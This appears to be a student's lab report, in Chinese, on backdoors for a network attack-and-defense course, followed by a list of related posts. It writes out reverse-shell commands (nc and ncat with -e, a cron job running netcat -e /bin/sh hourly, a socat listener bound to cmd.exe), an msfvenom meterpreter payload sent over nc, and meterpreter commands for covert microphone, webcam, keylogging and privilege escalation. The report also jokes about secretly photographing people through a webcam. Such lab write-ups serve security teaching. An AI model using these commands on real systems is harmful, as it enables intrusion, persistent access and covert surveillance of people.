20155302 Exp2 后门原理与实践
20155302《网络对抗》后门原理与实践
实验要求
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
实验内容
•使用nc实现win,mac,Linux间的后门连接
•meterpreter的应用
•MSF POST 模块的应用
实验过程(基本后门工具实践)
1.Windows获得Linux Shell
在windows下,打开CMD,使用ipconfig指令查看本机IP

在Linux下,打开终端,使用ifconfig指令查看虚拟机IP

去老师给的链接下下载解压ncat压缩包,在cmd中进入ncat文件夹中,使用ncat.exe -l -p 5302命令运行ncat.exe监听5302端口。
在kali端,使用nc指令的-e选项,nc windows_ip 5302(所设置的端口) -e /bin/sh反向连接Windows主机的5302端口。
连接成功后就可以在Win的cmd窗口中输入Linux的命令,此时已经获取了Linux的shell。

2.Linux获得Win shell
Linux中使用nc指令,nc -l -p 5302,监听5302端口。

Windows反弹连接Linux使用ncat.exe -e cmd.exe ip_of_linux 5302

然后,在kali端,就可以使用windows的cmd了。
3.使用netcat获取主机操作Shell,cron启动
在Windows中使用ncat.exe -l 5302指令监听5302端口。
Linux在终端窗口使用``````nc Win的IP 端口号````命令去连接Win的5302端口。
用crontab -e指令编辑一条定时任务(输入3,选vim.basic)

添加一行:20 * * * * /bin/netcat 172.30.1.130 5302 -e /bin/sh,(该指令是在每个小时的第20分钟执行后面的指令)保存并退出,配置生效,可以通过crontab -l来查看。

到达你所设定的时间后,你就可以获得了kali的shell并控制它。
4.使用socat获取主机操作Shell, 任务计划启动
首先去老师的附件中下载socat。
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器。

在操作中的程序或脚本里选择下载的socat.exe的路径,添加参数中填入tcp-listen:5302 exec:cmd.exe,pty,stderr,该命令把cmd绑定到5302端口,同时把cmd的Stderr复位到stdout。

任务创建后,右键它使任务运行。

然后在Kali环境下输入指令socat - tcp:172.30.1.130:5302,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5302端口,此时可以发现已经成功获得了一个cmd shell。

5. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先在kali里面输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5302 -f exe > 20155302.exe生成后门程序(LHOST=kali linux的IP)

通过nc指令将生成的后门程序传送到Windows主机上
windows:ncat.exe -l 5302 > 20155302.exe
kali:nc 172.30.1.130 5302 < 20155302.exe
再在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。

设置完成后,利用exploit,执行监听,在windows中,利用20155302.exe运行2015302.exe。

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。

6.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.使用record_mic指令可以截获一段音频

2.用webcam_snap指令可以使用摄像头进行拍照


3.使用webcam_stream指令可以使用摄像头进行录像

4.使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

5.使用screenshot指令可以进行截屏

6.使用getuid指令查看当前用户,使用getsystem指令进行提权。但是由于环境问题显示提权失败,不知道为什么。

基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:下载并安装某个程序,这个程序可以正常的并且完整的为我们提供服务,但是在开发改程序时可能会设计了一个后门,我们安装程序的过程中也将该后门也装入了我们的系统中。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
(3)Meterpreter有哪些给你映像深刻的功能?
控制靶机的摄像头啦当然是,使用这个可以时时知道对面在干什么,还可以偷拍。。。虽然不是很正经,但是觉得很有趣很有用。。
(4)如何发现自己有系统有没有被安装后门?
1.使用专杀木马的软件
2.关闭本机不用的端口或只允许指定的端口访问
实验总结与体会
这次实验是真滴很有趣,虽然实用性不是很大,因为有现代先进的杀毒软件的存在,但是学会了一些基本原理以及当黑客的快感,第一次觉得自己学的真的是信息安全了。
20155302 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- JSP内置对象——response对象
看一个实例: 运行结果: 出现了一个很奇怪的现象,这个outer对象输出的字符串,跑到顶部去了.这个呢也就说明了response对象获得的writer对象的输出总是前于我们的内置对象.(respons ...
- Flutter Widgets (Container/Row/Column/Image)
俗话说知己知彼百战百胜,如果对Flutter 里面的各种Widgets不了解,那你就别想将它们组合成你想要的效果.从今天开始.会把一个一个的widget 撸一遍..知道它大概的用法.效果.当你想做某个 ...
- 微信小程序开发--模板(template)使用,数据加载,点击交互
微信小程序视图层提供了 模板(template),可以在模板中定义代码片段,然后在不同的地方调用.结果在数据渲染那懵逼了.按照官网上对模板的说明和对数据的加载. 1.定义模板 使用name属性,作为模 ...
- CentOS6.8系统安装Node
环境:CentOS6.8_X64系统 一.到官方下载最新的编译好的安装文件,目前是6.9.4. $>cd /usr/local/src #定位到这个目录,下载的文件会在这个目录#使用wget下载 ...
- ubuntu下编译qt5
编译步骤参考: http://doc.qt.io/qt-5/linux.html 我们使用源代码和编译目录分离的编译方式, 这样避免编译主机系统和目标系统间的独立. 参考: Qt Configure ...
- python自学——文件修改
#如何修改文件,我们知道文件因为在磁盘上已经有储存了,后面要更新或修改,只能在在原来文件后面追加使用f=open("wenjian_name","r+",enc ...
- 将sqllite3数据库迁移到mysql
一.安装python mysql module (OneDrive): 1.运行python D:\OneDrive\Work\django\mysqlregistry.py2.http://www. ...
- Innodb的体系结构
MySQL的体系结构,两部分组成:MySQL的server层和存储引擎层. 存储引擎层innodb体系结构: innodb的整个体系结构就是由多个内存块组成的缓冲池及多个后台进程组成.我们可以从三方面 ...
- Apache的安装与AWstats分析系统
实验拓扑图: 实验要求: 1. WEB服务器: 使用源码包apache实现.安装完成后,并优化执行路径. 启动服务后,客户端通过http://IP能访问默认的网站. 2. DNS服务器: 安装DN ...
- DevExpress11、TreeList
一.简介 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; ...